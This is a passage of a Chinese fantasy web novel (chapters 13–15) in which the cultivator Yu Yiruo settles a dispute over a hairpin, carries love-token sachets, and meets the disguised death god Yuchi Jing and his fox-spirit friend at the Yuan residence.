是以余以若也很识趣尽量不自己凑到前面,而是日复一日地待在袁府,从乾坤袋掏出几本上古秘籍,翻看有关“亓”的记载。
毕竟是上界的灵兽,时间相隔久远,除了只言片语外,就没有什么实质性的内容,参考意义不大,思路理来理去,都聚焦在从来客酒家这个地方。
本想今日寻个机会过去,奈何,就在临出门的时候,程舟怡、鹤览川回来了,连袁微都回来了,好像是共同受到了什么感召般。
于是,好客的袁城主自然不会放过这个机会,连连将几人拉到了一起,团团围坐在圆桌上。
“余师妹,吃这个,这个好吃。”程舟怡把菜推到她眼前。
“多谢师姐,我听闻昨日是不是又发生了杀人事件,师姐你可有受伤?”余以若问道。
除了她中计的那日没有出现杀人事件,近几日接连出现,而且一次比一次凶残,余以若没亲眼见过几次,但从程舟怡两人焦灼的脸色上也看得出,情况不太好。
鹤览川抚了抚腰间的白剑鞘,缓缓道:“我们有秘宝在身,不至于受伤,死了很多人,那人很狡猾,带着面具,看不清,身手很好。”
连鹤览川都夸身手好,连天玄宗两大底牌都探查了整整一个多月的人,究竟是何方神圣,接连在长乐镇为非作歹。
思及此,余以若就有些后怕,若是她灵脉没损,也能出几分力,可现在竟是需要别人的保护。
“师姐,你不用担心,我力气大,来一个打一个,来两个打一双。”在旁的凌常白瞧出余以若的不对劲,出声安慰道。
余以若微笑着点了点头,难为他有这份心意,也不枉费她近几日的在他术法上的指点。
“好了好了,各位吃饭吧。”袁城主忍不住,开口打断他们。
“爹,你又在这插话,仙长们还没讲完呢。”袁微道。
听到她的话,余以若先是一愣,倏尔反应过来,她上次要的神水还没给她,正不知如何解释,袁微径自道:“仙长我已经知道了,无事。”
“好。”余以若说完就去扒拉饭。
这一顿饭吃得着实不太妙,个个都心事重重的样子,也没多大胃口,吃完便走了,余以若离席时,竟发觉似乎从一开头就没有见到徐芙蓉的身影,她不是也搬来袁府住了吗?
说来好似这几日见到徐芙蓉的日子也屈指可数,却不知她去干什么了,会不会有性命之忧。
“啾”的一声,肩头微微一沉,大鸟吃完它的粮就飞了过来,傲气地立在余以若肩头上,看得她想笑,分明这几日没什么丹药给它吃了,只能和麻雀争食,倒也是这副倨傲不已的模样。
“余以若,你这几日考虑好了我的计划没有,这种好东西你不赶紧去,保不准就让别人盯上了。”大鸟絮絮叨叨地说,
又是为她升仙的事情忧心,余以若甚至都觉得大鸟比她娘还能叨叨,“等我再想想。”
“还想,你再想就让别人拿去了,你瞧瞧这么浓郁的灵气,就跟块肥肉般,大家都想去咬一口,你再不去,到时候连残渣都没得捞。”
“你这只大傻鸟,如果这么好拿,为什么多年来一直在那。”余以若道。
“哎呀。”大鸟见她不以为意,愤愤地跳向另一个肩头,
“你再不去就要没了,你难道想真的去给那个尉迟景补什么阳寿,把他带到那什么鬼王那里吗?他们两不对付都是出了名的,你这就是在找死,余以若,你有没有在听,余以……”
“嘘,你有没有听到什么声音?”余以若做出噤声的动作,戒备地看向四周。
“什么?”大鸟竖起头,认真地听了下,喃喃道:“好像真的有。”
袁府设施全面到位,余以若平日里吃饱了,都会走到后院来消消食,按常理此时应该极少人来,可为何听到了几声啜泣声,随着她们越往里走,啜泣声越来越大,满满地变成啼哭。
“你究竟存的什么心思?连我的东西都敢偷?”尖锐高昂的音量陡然将忽高忽低的啼哭撕开,
紧接着是对方无力的辩解,“小姐,我没有,都过去这么久了,这是她留给我唯一的念想了,你不能拿走。”
“她留给你的?我怎么记得是他给我的?”
声音是从屋檐下传来的,余以若走到拐角,刚想转身走,就被她们叫住了,“余仙长,求你给我评评理。”
又是评理?她上次帮她们找娘的事情还没着落,折腾了几天一无所获,本想等长乐镇安稳了些,回扶光宗寻几样作弊神器来,替她们断个案,怎么这当儿又要她评理来了?
“是啊,余仙长,帮帮我们看看。”说话的是袁微,身旁还有两位俊俏的男子,衣着确实有些夸张了些,裸露的胸膛看得余以若脸上一烫,而对方似乎也留意到了,娇羞地往袁微身边挤,把头埋到她怀里。
“你们要说的是何事呢?”余以若稳住心神,向前走了几步,把跪在台阶下的徐芙蓉拉起来,几日未见到她,今日见到她似乎瞧着还消瘦了几分。
“余仙长,她手上的那个是我娘留给我的。”徐芙蓉委屈地指着袁微手上的珠钗。
钗子做工不算特别好,用料也不够纯粹,倒是上头两只栩栩如生的鸳鸯很是惹眼,不像是父母赠予子女的,倒像是情人间的信物。
徐芙蓉拉了拉余以若的衣角,对于这个初看有些冷漠,但深交起来却热情,好心肠的姑娘她是全身心的喜欢且信任,“仙长,那个钗子……”
像袁微这般的千金小姐,是不会用这种东西的吧,余以若便开口道:“小姐,若是她的你便还给她吧。”
此话一出,袁微坐不住了,被身旁的两个男子搀起来,指着徐芙蓉骂道:“你说是你的,你拿出证据来啊,连一点证据都没有,谈什么是不是你的。”
“这真是我娘给我的。”徐芙蓉哀求道。
“你娘,可这是我心上人给我的。”袁微好笑道。
在余以若看不见的地方,徐芙蓉脸色微微起了变化,但仍旧是一口咬定,“这就是我娘给我的!”
见袁微没有丝毫松口的样
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子,徐芙蓉一怒之下把余以若一推,扑到了袁微的身上,“把东西还给我,你个贼人,敢做不敢当。”
“什么,真是可笑,分明就是他送给我的,怎么就变成你的了?”
“她们争起来好可怕啊。”大鸟捂住眼睛不敢去看,两个女人间的动手无非就是扯头发,撕衣服,但她们不只是动手,连什么“克夫”“寡妇”都说出来了。
听得大鸟云里雾里的,最后还是从外面匆匆赶过来的程师姐结束了她们的争斗,“这个珠钗不是你的,徐芙蓉。”
“不,是我的……”她还想争辩。
“那是你丈夫送给袁小姐的,别白费力气了。”程舟怡平静地说道。
“你……你怎么知道?”徐芙蓉有些无措,好似被训斥的小孩,跪在地上嗫嚅道:“不,不是,那个是我的。”
程舟怡闭了闭眼,徐芙蓉丈夫和袁微的事她也是前几日才知道的,无事发生的那一晚,她的剑鞘落在外头,出城去寻,偶然看见了徐芙蓉在悼念亡夫,眼神空洞,泪都快流干了,嘴里却毫不留情,将埋在污泥里的人唾骂得人都不是。
她心道,是有多恨,连尸首都不敛就下了葬,而且连快墓碑也没安设。
城内发生了那么多事,本就人人都可疑,而她的这么一通操作,不禁让她停下脚步,静静地听完了全程。
徐芙蓉和她的丈夫算是青梅竹马,两小无猜,长大成人,顺理成章就结成了夫妻,可有一日她丈夫被袁小姐看中,
虽然她百般阻挠,可提防不了男人那颗想尝试新鲜事物的心,于是袁小姐和她丈夫好上了,就这么过了几天,袁小姐玩腻了,把她丈夫送了回去,顺带将她的家族提携了下,而徐家就是这样好起来的。
直到一年前,她的丈夫又遇见了袁微,此时的袁微出落得更加漂亮,就好似一颗饱满的果实,高高地挂在树稍任人采撷,不禁让他想起她们欢度春宵的一晚。
心旌摇荡的男人就这么带着珠钗出了门,却在半路被人谋杀,程舟怡看得清清楚楚,漂浮在污泥之上的那具尸首,没了眼睛。
“所以,这个珠钗果真是袁小姐的?”余以若有些窘,好在没有说太多话,
见几人一言不发,空气有些说不出的微妙情绪在酝酿,直到被程舟怡打断,“凶手还在作案,余同修她们的娘便由你去查一查,我和鹤师兄这几日要布设阵法。”
“好。”余以若应道。
“对了,若没事就去纵花楼一趟,掌门上次同我说征买此地的使用权作废了,同他们知会几声,让民众不必担心了。”临走时,程舟怡撂下这么一句话。
余以若恍然道,难怪扶光宗的掌门会将她们派下来收拾长乐镇的烂摊子,原来是为了要长乐镇的地盘,难不成也是看中了那个“亓”的魂灵?
思及此,余以若决定回房理好计划,一转身,便见侧旁站着的凌常白,似乎站了很久,头顶上都落上了叶子,看起来脸色不太好,攥着手。
“凌师弟,你来了?”
他一愣,松开手拍了拍衣摆,笑意盈盈地过去,“师姐,我刚来不久。”
13. 再遇
“你来这是做什么?”余以若看着他。
“哦,师姐,我本来想请教你这个剑法的,我还有些琢磨不透。”凌常白挠着后颈,在她面前站定,又侧头看到徐芙蓉跪在地上哭,疑惑道:“师姐,这是怎么一回事?”
扶光宗也是这点好,收弟子需要行拜师礼,但她们宗派只需要向掌门人叩拜就行,倒也是为何师父会把令牌给她,只是不知这令牌的使用时间有没有期限。
“师姐?”凌常白伸手在她眼前晃了晃。
左一句师姐,右一句师姐,他叫得倒也顺溜,若是小师妹见了估计也欢喜,总归不是宗门内最小的弟子了。
余以若偏头看去,袁微已经带着那两个小倌走了,徐芙蓉在地上哭得肩头一抽一抽的,心下有些不忍,犹豫几秒,还是走去把她拉了起来,“徐姑娘……”
“仙长,我待他那么好,但是他吃里爬外,为什么……”见有人来宽慰自己,徐芙蓉一下子哭得更伤心。
“这般不忠不义的,你还念着他做什么?”余以若把她带到凳子上坐下,多说了几句后,便打算走,袖口一紧,徐芙蓉拽着她,摇摇头,看起来好不委屈。
“仙长,我什么都没了,我……”
余以若自幼生活在山上,对山下的人事情理之类的,也不太懂,听她一句接一句,也只能无声地站着。
过了不久,纸鸢不知从哪飞了回来,落到她肩头上,“余以若,你知不知道,我看见谁了!”
“你看见谁了?”看它咋咋呼呼的样子,余以若见怪不怪。
反倒是一直呆在旁边,等着余以若脱开身,好向她请教的凌常白发问:“纸鸢大人,是什么?”
大鸟把脑袋一翘,被人称作大人,真真切切得它心意,多久未听到这声大人了,他不开口,它都快忘了,它曾经也是威风凛凛的神鸟,
得瑟着得瑟着,凌常白接连唤了几声,听得它身心愉悦,直到被余以若一个巴掌呼来,才把它拉回现实。
捂着脑袋,委屈巴巴地道:“是她哥要来了。”
“她哥?徐姑娘你还有兄长?”余以若问道,“你兄长不是不在长乐镇吗?”
“兄……兄长。”坐在凳子上的徐芙蓉坐直身子,不安地蜷起手,火速揩干眼泪。
“你该不会是怀疑我吧。”大鸟跳到她面前,仍旧是捂着脸。
余以若心道,她也没用多大力,虚虚一拍,顶多被劲风掀起几根毛,怎么还捂着?
见她露出怜惜的神色,大鸟捂得更卖力,时不时还哎呦两声,听得让凌常白都不忍心,频频在旁关怀开口,“纸鸢大人,我那里有上好的疗伤圣药,要不敷点。”
“不用,不用。”大鸟一边开口拒绝,一边直往余以若身上瞟,企图在她脸上找到几点愧疚的神色,抑或是不忍也好,再来发点毒誓就更好。
可偏偏没等到它的美梦,身后来了人,正是徐芙蓉的兄长徐展,只不过他身后的涧石蓝袍少年瞧着有些熟悉,不禁推了推余以若,小声道:“你看那个人是不是尉迟景?”
余以若没说话,低头见它展开的大脸,半点受伤的迹象都没,嘴角抽了抽,堆起笑,
正想给它点教训,身侧的徐芙蓉绕过她,走到了两个少年面前,款款行礼,“兄长……”
为首的少年着苍蓝宽袍,乌发半披半扎,剑眉星目,生得很是好看。
而随在他身侧的少年,束着高高的马尾,朱红发带随风飞扬,身姿挺拔隽秀,让人挪不开眼。
“兄长你怎么来了,我还没来得及去接你。”徐芙蓉温柔道。
徐展轻咳几声,视线在四周逡巡了几圈,落到眼前人身上,
“是这样的,这段时间生意不太好,我想着,离家了这么久,没来看看你,索性寻了袁府的位置,我们兄妹好聚一聚。”
“竟是如此。”徐芙蓉脸色有些僵,抬头打量着眼前的人,顿了片刻,才开口:“兄长回来了就好,没事就好。”
徐展颔首,正当儿,身后传来袁城主的声音,“侄儿,好侄儿,快来让我看看。”
“侄儿?”
袁城主在几步宽的位置止住步子,展开双臂,盯着朝他转过身来的两位蓝袍少年。
恍神了几秒,一时间竟分不出哪个是徐展,分明右手的少年瞧着是徐展的模样,
可左边的矜贵清隽,又着身极为亮眼的窄袍,一时间竟衬得身旁之人如仆从般暗淡无光。
按理来说徐家也算家大业大,就算家道中落,留下的银子也不少,带一两个小厮也是正常事,多年未曾见过徐展,面容也是会变的。
思及此,袁城主的笑脸又堆起来,双臂一展,兴冲冲地朝左手的少年抱去,奈何对方一个大后退,扑了个空。
袁城主无措地看向两人,直到徐芙蓉指着徐展道:“伯父,这个是兄长。”
“哦哦哦,好。”袁城主笑着把右边人搂在怀里。
袁城主本就身体壮实,被他这么往死里一抱,徐展差点被他勒断气来,求助地看向侧旁的少年,得到的却是他毫不客气的无视。
片刻后,袁城主缓过来,看着站在一旁的少年,问:“你是?”
“城主,他是我在路上结识的好友,若不是他我可能都回不来了,好在有他的帮忙,把我从鬼门关里拉出来。”徐展道:“姓景,单字迟。”
闻言,余以若心头咯噔一跳,大鸟的心也跌到了深渊,好端端的,死神来这里是干什么?
唯有不知情的袁城主热络地招呼,“景公子,真是多亏了你啊,简直就是我侄儿的恩人,你放心,尽管开口,要什么金银珠宝哇,都随随便便拿去。”
尉迟景缄默不语。
徐展瞧见袁城主脸白一阵红一阵的,怵在原地,摆手道:“城主客气了,好友他向来如此,不要介意。”
“好好好。”袁城主碰了壁之后,也不搭理他,而是和徐展多说了几句话,向小厮交待好一切事宜,便拉着人离开。
凌常白也是会看脸色行事,见余以若一直在旁边静静地看着没有向前,也自觉地不去和他们招呼,
待他们都走远,才走到余以若身边,悄声道:“师姐,你为何会这么紧张?”
“紧张?是吗?”余以若被他突如其来伸出的手吓一跳,惊犹未定道:“还好吧。”又抚了抚胸口。
“师姐没事就好。”
“你刚才不是说指点你剑法吗?”余以若直起身子,
抬了抬头,这不抬还好,一抬就对上了离去不远的,尉迟景不经意间转过来的眼,那眼神好似从地狱爬上来索命的罗刹,冷不防惊出一身冷汗。
“师姐,师姐?”
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“哦,指点你剑法是吧。”
……
等她回到房里,已是深夜,由于徐展突然回来,老好人袁城主又拉来几人团团围着吃饭。
只不过因着有尉迟景在,她可不想中途被噎死,是以,便寻了由头,将他的好意推辞了。
原以为宴席应该会挺热闹的,但瞧着从门口走过路过的小婢,看起来似乎也不尽然。
“余以若,你说他过来干什么的啊,他不是要去苍阳山乱葬岗抢那些魂灵吗?
可现在他打上门来了,他会不会是摆明了想把你弄死,你的命也挺硬的,这么多次了,他反而没讨到一点好。
你说,他会不会是觉得自己受挫,所以就打到门口来。”
大鸟在面前的桌上转悠,见余以若仍旧托着下巴不说话,
焦急道:“你还不紧张,他都找上门来了,他不是来杀你的,难道是来提亲的吗!”
“你胡说八道些什么啊。”余以若把它揪开。
“我当然知道他不可能是来提亲的啊!”大鸟急道:“所以,是来杀你的啊!”
看它东扯西扯,都是些无厘头的话,余以若不想和它争辩,便起身走到了窗户底下,对着投进来的月色展开手,又合拢,
仍旧是一点,连一丝一毫的灵气波动都没有,现下只有两条路,接近尉迟景和拿到“亓”的魂灵,否则连神仙也救不了她,
想着想着就心悲起来,小婢叫了几声都没听见。
“仙长,仙长,我们小姐找你。”
“你们小姐?”余以若转过身来,大晚上的,袁微找她又是什么事呢?“你们小姐怎么了吗?”
“我们小姐让你现在过去。”
“现在?这么急?”余以若问道,心底还是担心是不是真的出了什么问题,遂点了点头,道:“带路吧。”
跟着她,余以若来到袁微的闺房,一见余以若袁微就热情地把人牵到凳子上坐下,然后神秘兮兮地掏出一个香囊。
“仙长……”袁微把香囊递到余以若面前。
“给我的?”余以若伸手接过,正打算道谢,袁微又道:“能不能帮我将这个香囊给鹤仙长?”
给鹤览川的?余以若突然感觉这个香囊有些烫手。
鹤览川惊才风逸,目如朗星,才华容貌皆是一流。
在宗门多年,都没听说过他有道侣,反倒是追随他的女子数不胜数,余以若虽不明白其中底细,但她不是做红娘的料,不能帮袁微和鹤览川牵线。
袁微把她的手推回去,又不知从哪拿出一个香囊,塞到她怀里,“左边的这个麻烦帮我给鹤仙长,右边的这个给那位景公子。”
“哈?”余以若差一点就把香囊甩出去了,什么?她钓鱼就算了,还一次性钓两,合着是多撒网广收割是吗?
“仙长,我一个平平无奇的女子,他们自然是不会收的,可是仙长就不一样了,同他们整日生活在一起,想必帮我搭个桥牵个线是件容易事。”
她说得轻松,余以若感觉压力山大,“抱歉,我这帮不了你,而且我和他们都不太熟……”
下一秒,眼前出现一筐灿灿的金元宝,袁微笑道:“仙长,这些呢?”
余以若眨眨眼,心道,自己只是个送信的邮差,决定权都在他们那里,帮她牵个线,应该也不是坏事吧。
14. 香囊
钱财对于她们这些修道之人,虽说是身外之物,但也不能没有,出门在外花钱的地方多,钱袋子本就贫瘠不堪,逢上上次歹徒打劫,更加萧瑟得无以复加。
是以,余以若还是收了下来,晃晃腰间的乾坤袋,银钱相撞,声音清脆悦耳,顿觉心情大好,就连手头上的两只香囊瞧着也可爱了不少。
黄布香囊下坠着同色流苏,和店铺里的比起来,胜在讨巧,布面上绣着桃花,格外清新雅致,一看就是袁小姐亲手之作。
倒也是个有心的佳人,试问唤作男子能做到这个份上吗?自然是不能,思及此,余以若都对袁微存了几分敬佩之心。
灯火微暗,月色也不太透彻,被乌云笼住一角,走着走着,冷不防脚下一空,“哐”的一声响,余以若摔了个扎扎实实,香囊骨碌碌地滚进廊道下。
好在近几日没有下雨,否则要是香囊脏了,把人家交代的事搞砸了,她可真真要难堪到顶了。
正匍匐着身子去够,头顶上猝地冒出一句,“大晚上的,狸猫出来觅食了?还是只绿色的。”
奈何手太短,够不到,心情烦闷,一点都不想理不长眼睛的人。
她不说话,好似坐实了廊道底下的人是狸猫这个事实般,聒噪的声音又激动起来,“诶,狸猫还会动诶。”
“这位大吵大嚷,没见过世面的人,你能不能带点眼睛,我是人!不是什么狸猫。”余以若吃力一够,总算抓回了香囊,拍净尘泥,塞到怀里,不客气地对上前面的蓝衣公子。
“哎呀,抱歉抱歉,竟然是位姑娘,还是位生得不错的姑娘。”徐展瞧见了什么新大陆般,两眼放光,围着余以若打量了一圈又一圈,
“姑娘你叫什么名字,是谁的丫鬟,不对,你是修道之人?为何我今晚没有见过你,姑娘,你别不说话,虽然这张脸瞧着是有些丑,但吓人倒不至于。”
眼前人展开扇子,把余以若逼得步步后退,一双眉目不带半分温度地凝着她,压根不给她开口的机会,
又继续说:“姑娘你可有道侣,若是没有,考虑下我的小弟如何?我小弟生得也是不错的,起码比这张脸好看。”
余以若心道,这人怎么就跟推销猪肉一样推销。
见她不搭理自己就走,徐展不乐意,径直追上她的步子,边走边说,“姑娘,我瞧着你刚才的香囊是送心上人的吧,不如也送我一个如何?”
“不能给你。”余以若冷道。
“香囊不能给我,那给我这把剑如何?”指着她的青羽剑。
余以若心道,真是狮子大开口。
身后人仍旧是不死不休地跟着,余以若一怒之下,就在拐角处刹住脚,正要转身,前面又走来提剑的尉迟景,心咯噔一下,二话不说她就溜开。
可一想到怀中的香囊还有他的一份,离去的脚又弱小地调转回来,便在徐展的惊叹下,掏出了香囊,道:“公子,这个是袁小姐给你的。”
尉迟景抬了抬眼,看向她,“你倒是闲,不思量思量自己还有多久活,改当飞鹤送信?”
“我毕竟还年轻,至少活得比你长。”余以若皮笑肉不笑道:“公子,趁你还没年老色衰,机会可要牢牢握住。”
向前一步,单手拎着香囊送到他面前,可他连看也没看,拔出剑,只见圆滚滚的香囊碎作两半,却不闻剑落下之声。
“你怎么能这个样子呢,多可惜啊。”徐展看了几眼,心疼道:“多么好看呐,你真是不解人姑娘的心意。”
“再废话,它的下场就是你的下场。”尉迟景把剑架到他脖子上,徐展瞬间蔫了下去,摆手道:“不不不,怎么会呢,砍得好,砍得好,是吧,姑娘。”
穿堂风奔啸而过,三两下把破碎的香囊吹进了沟渠,余以若心疼地看着,唯有怀里的一只了,倒也料到尉迟景不会收,但也没想到是这么个结果,明日袁微问起来,可不好措辞。
“余姑娘,姑娘?”徐展在她面前晃了晃手,见她眼睛亮起,才缓出气,
慢慢道:“我友人就是这个样子,多少年了,我从未见过他亲近过半个姑娘,连姑娘的影子都没见过,所以,这不是你的问题,是……”
偏头看了眼后方,尉迟景正直勾勾地盯着他,立马改口道:“我的问题。”
“你的问题?”余以若道:“算了,我的问题吧。”他们没要她命就不错了,还争什么你的我的。
正想着,肩头“噔”的一沉,果真,纸鸢飞来了,一落到她肩头,就气势汹汹地对着面前的两人吼:“你们想干什么,想对我的小主做些什么,我劝你们夹着尾巴做人,不要动我的小主,否则,我让你们吃不了兜着走。”
尉迟景和徐展静静地看着,过了半晌,唯有尉迟景不耐烦地收回目光,其余人皆是一动不动,“不信我?”大鸟气势不足地打破沉默。
徐展瞟了眼,淡淡开口:“哪来的胖鸟,都成球了。”
“你才是胖鸟!我分明是神鸟神鸟,懂不懂,你个二货。”
“鸟?我可不是鸟。”徐展拧开扇子,挡在面前,意味深长地说:“我是……狐狸。”
狐狸?余以若抬眸看了几眼,难道是那个人?
正多思量了几秒,徐展又轻笑道:“这么容易就信了,可不要被别人骗了。”边说边从余以若身侧走过,扬扬扇子,笑道:“姑娘,想开些。”
大鸟怔怔地看着他们离开,怀疑是不是自己还没睡醒,纳闷道:“尉迟景竟然不杀你?”
“不是不杀,而是不能。”余以若垂下眼睑,看向腰间的配剑,呼出口气,继续道:“走吧。”
……
徐展跟着尉迟景进屋,蹑手蹑脚地上了榻,把脸上的面具一撕,露出张清俊优雅的脸来,眉目狭长,
似笑非笑地看着同样斜靠在榻上的尉迟景,“你把我从大老远叫来,就是为这点破事?”
“所以,你倒是说说那把剑是不是以前的那把?”尉迟景拧了拧眉,颇不耐烦地道。
“以前的那把,传闻天地之初就有了,升格为神之人死不了,除非被天道抹杀,抑或是渡劫失败,但你也算个奇葩,这么多年了,名声都臭得不能再臭了,天道既不会把你杀死,也没雷劫给你渡,反而平白无故地栽在一把破剑上。”
尉迟景睨了他一眼,“少说点我不会把你当哑巴,起码我还是升格为神了的,不像某些人,连自己媳妇跑了都不知道。”
“你还说。”对面的男子冷哼了一声,“自己拿
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不到人家的剑,倒让我去拿,你自己倒是落得个美名,反倒是我整日被人明里暗里地骂,我也没做什么出格的事。”
尉迟景坐起身,抿了口茶,继续问:“那把剑当真是以前的那把?”
“不确定,看起来不像。”男子认真道:“你说,会不会是你爹……”见尉迟景脸色倏地一下变得阴沉,咳嗽了几声,“会不会是那个该死的人搞的?”
“不可能,他死了,死得很彻底。”
尉迟景说得很平静,好似件无关痛痒的事,平静里还掺着几丝淡漠,冷不防让男子身子一僵,正不知如何开口,“咚咚咚”门响了。
进来的人是风信,后面还随着同样装扮的男子,便是死神两大护法的另一护法飞穆,拿着把长镰刀,甫一进门,似乎还不适应,镰刀“咚”的磕在门檐上。
“主子,大人。”两人行礼。
榻上男子颇有兴趣地走到两人面前,瞧着风信,把他上上下下打量了遍,旋即转身,若有所思道:“他是?”
“正是你想的。”
两人你一言我一句,看得风信糊里糊涂的,倒是其中关键的一句被他抓住了,他大老远地把飞穆接回来,还要扮演徐展?
“大人,这贵公子我可扮演不太来。”他推辞道。
“什么贵不贵公子,无非就是披了层不一样的皮罢了,听我的,把这个皮好好地戴上,你就是徐展了。”
男子乐地把假面皮丢到他怀中,对尉迟景道:“那个剑的事我还得再多问问,你可说好了,那东西到手分我一半。”
“嗯。”
“你别嗯,你倒是给个准信!”男子气道。
“拿去。”尉迟景懒洋洋地甩给他一张白纸,男子看了,立马火冒三丈,
指着他大骂:“尉迟景,好歹你我也有过生死之交,这么这点义气都没有!我大老远地把我心上人抛下,过来给你看剑,你就连这点待客之道也没!”
“哦?”尉迟景满不在乎地抬眼,“那把剑,你怎么就不帮我拿过来?”
一听这个男子就来气了,什么叫他不帮他拿过来,他自己不也拿不到吗?怪就怪那把剑认了主,除非人家甘愿相赠,否则……
等等!男子眼睛一亮,开口道:“既然我们拿不出来,为何不能叫她自己送给我们?”
“你是脑子被驴踢了,还是路上来的时候灌风了?”尉迟景不客气道:“余以若可不是个没脑子的人。”
这人……男子咬咬牙,比他的心上人嘴巴还厉害,偏又不知如何反驳,遂吐了口气,反正气多了也是气多,倒不如丢给鬼王那家伙处理。
“和她去趟阎罗殿,鬼王不是闲着无事,琢磨过很多技法吗?说不定就有那种让人心甘情愿爱上你,然后把剑拱手交出……”
话还没说完,门“哗”地大开,男子无情地被甩出外面。
风信擦了擦额上的冷汗。
“飞穆,调查得怎么样了?”
一直站在侧边的男子走上前,规矩道:“混乱还没有停止,而且似乎撑不过三年。”
闻言,屋内冷上几分。
过了片刻,少年冷淡的嗓音响起,“那便走一步看一步,起码有些人死得太早不是好事。”
15. 发怒
天尚且蒙蒙亮,房门就被敲醒,余以若依依不舍地披上外罩,推开门,揉了揉惺忪的眼,不解道:“凌常白你干什么?”
“师姐,我还有一点不太明白的。”凌常白握着剑,目光闪闪地盯着她。
“不懂?去问你的纸鸢大人吧,我还得继续睡,昨晚太晚了。”余以若打了个哈欠,转身就往屋子里头走,冷不防大鸟扑上来,乐道:“余以若,你别那么小气,教教他。”
“你自己怎么不去?”
大鸟朝凌常白使眼色,一边又把余以若往门口推,低声道:“你知不知道他每次在哪修炼?”
“在哪?”
“在那个徐展住的地方啊,多好啊,你去指点他,说不定就能碰见那个谁。”
余以若冷眼睨着它,“你是不是吃撑了?还是脑子被门夹了?我去撞枪口?”
站在肩头的大鸟蹦跶两下,老气横秋道:“原本我还担心他会对你怎么样,可根据我昨晚的观测,发现不对,他压根就不会杀你,不杀你是意味着什么呢?”
“什么?”余以若眉头一跳。
“意味着他对你不一样啊!你想想看,那个人向来都是睚眦必报的,可你杀了他,他却没有杀你。”
说着说着,又觉得不对起来,“不对,他杀过你,可是没杀死,这更说明他对你有不一样的情感。”
在门口的凌常白也忍不住插了句,“什么情感?”
大鸟装模做样咳嗽几声,“自然是养肥了再宰啊!这点道理都不懂,你们啊。”视线扫去,“得多练练!”
“怎么把师姐说得跟什么一样?”凌常白不悦。
“别理它,早起没虫吃的鸟,有时候脑子就是不正常。”余以若面无表情地把它扯下,甩到一旁。
凌常白若有所思地点头。
“余以若你别不信我,那个人是什么人,你陪凌师弟去练剑,说不定可以多在他面前晃悠,这晃悠着晃悠着,就不舍得杀了,说不定啊,还能饶你一命。”大鸟急急地追上去。
而余以若压根不理它,兀自穿好衣裙,拿好剑,同凌常白出了门。
“你别不把我的话当一回事,余以若你想想看,留得青山在,还怕什么,现在最关键的就是把小命保住,你说对不对?”大鸟边飞边说。
见她径直走着,没有停下来的打算,大鸟一气之下,扑上去,扯住她的后衣领,“余以若……”
“你大早上的,叭叭叭,怎么这么能说。”余以若把它揪下,瞪了它一眼,“我知道要把小命保住,可你不看看,这么多天了,他都没杀死我,是因为什么,因为什么?”
大鸟眨巴眨巴眼,想起青阳之前说的话本,两个敌人,若是久久未曾取对方性命,很有可能是这份情感变了质。
遂立马脱口而出,“是因为尉迟景对你有意思,他心悦你!”
不远处的拐角,少年猝然停下脚步,朝这边看来,眉眼几不可察地拧了几分。
“你是不是有病?”余以若无言道。
大鸟回过神,没料到自己竟说出如此不可思议的话,见余以若的面色越发难看,急忙补上两句,
“对对对,怎么可能,尉迟景那人谁能把他捞到手啊,那种人注定是孤独终老的,绝对绝对不可能,怎么可能对你有意思呢?说出去鬼都不信。”
“而且我们小主是什么人,可是要成为上界仙子的,唯有,唯有最最最厉害的才能入得了我们小主的眼。”
见余以若面色转好,它又继续大喇喇道:“再说那个人这么久都没见到过他亲近过什么女子,谁知道是不是好男色,抑或是身体不行呢?”
“就是!明白就好。”
鱼肚翻起白光,寸寸打在少年清隽的脸上,却化不开浮上的几层阴翳。
“啧啧啧,没想到啊,这姑娘胆子忒大,你成为别人的茶余饭后谈资也不是一天两天的事了,怎么?”男子挑起扇柄,拍了拍他,“今日的脸色看起来格外难看?”
“闭嘴!”尉迟景怒道。
“这就生气了?你也不是这么小气的人吧,说的也对,毕竟这么多年我确实也没瞧见过你碰过什么女子,连手都没挨过。”
男子展开扇子,仔细地打量着他,不忍道:“说不定真有什么隐疾。”
“死狐狸,我记得上了年纪的狐狸皮很是暖和……”尉迟景恶寒道。
“哎呀,都是玩笑话,玩笑话,什么连女子的手都没摸过啊。”
男子扇扇凉风,调笑道:“多年前你救下来的小丫头不就是吗?瞧我这记性。”
尉迟景停下脚步,看向他。
“你别这样看着我,这不是我说的,是那个鬼王说的,要怪就去怪他好了。”
男子辩解道:“毕竟看你竟好心救个小丫头,破天荒了,连天上掉银子,掉灵石都见怪不怪。”
前面的人转过去,背对着他,淡淡道:“只是个死人罢了。”
“好好,死人,只是个死人。”谁信呐?连鬼王那老家伙都不信。
男子摇摇头,叹口气,终究还是跟了上去。
……
练完剑,又被袁城主拉着去吃饭,好在尉迟景和徐展没出现,否则余以若真觉得会吃出心脏病来,
一来是昨晚送香囊被人无情地拒收,二来今早大鸟的几通话,心下余悸又脊背生寒。
捏着怀里的香囊,还没吃上几口,余以若便起身追到门外,“鹤师兄。”她把人叫住。
“师妹怎么了?”鹤览川转头看向她。
目色朗朗,仙风道骨,迎风而立,配合着漏下的几缕流光,清俊得过分,直到被他察觉,不快地转过头去,余以若才醒悟,接连走上去,“师兄,这个香囊,是袁小姐给你的,她托我带给你。”
“不用。”鹤览川蹙了下眉头。
“师兄,她托我给你。”余以若站在他面前,见对方连眼色都懒得施舍,有些无措。
僵硬的局面还是飞来的大鸟出声打破了,“哇!余以若!难怪今天我说尉迟景对你有意思的话,你会这么不开心,原来是对别人有意思啊。”
但这种打破,还不如一直让场面僵持到死更好,余以若不自在地笑了几声,笑声又牵强,又无奈,偏偏对上鹤览川微恼的表情,一时间更加难堪。
“师妹?”程舟怡刚吃完饭,就听见五采神鸟大声嚷嚷,还以为出了什么事,
直到看到一个递香囊的余以若,一个死死地握紧
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白剑鞘的鹤览川,一下子明白了过来,好心地把余以若拉开,“我们退一步说话。”
“可是香囊怎么办?”余以若欲哭无泪。
待把她带到了边上,程舟怡才将她手上的香囊拿了过来,轻声道:“这是袁小姐的吧?”
“你知道?”
顿了顿,程舟怡掏出自己的,道:“我也有一个。”
“你也有?”余以若惊呼。
心道,难道袁微是男女通吃?
“师妹,你想什么呢?”程舟怡见她愣怔的模样,不禁笑了笑,又继续道:“师妹,虽然很少人知道,但我还是要提醒你一点,鹤师兄是不可能的。”
“为什么?”余以若很是好奇,大抵是对八卦本能的新奇,几百年来就出了这么一个天之骄子,放着好好的升仙机会不去,而甘愿留在天玄宗当掌门人,不是屈才是什么?
“因为啊,鹤师兄有一段往事……”
话还没说完,背后插进一句,“师妹,走了!”
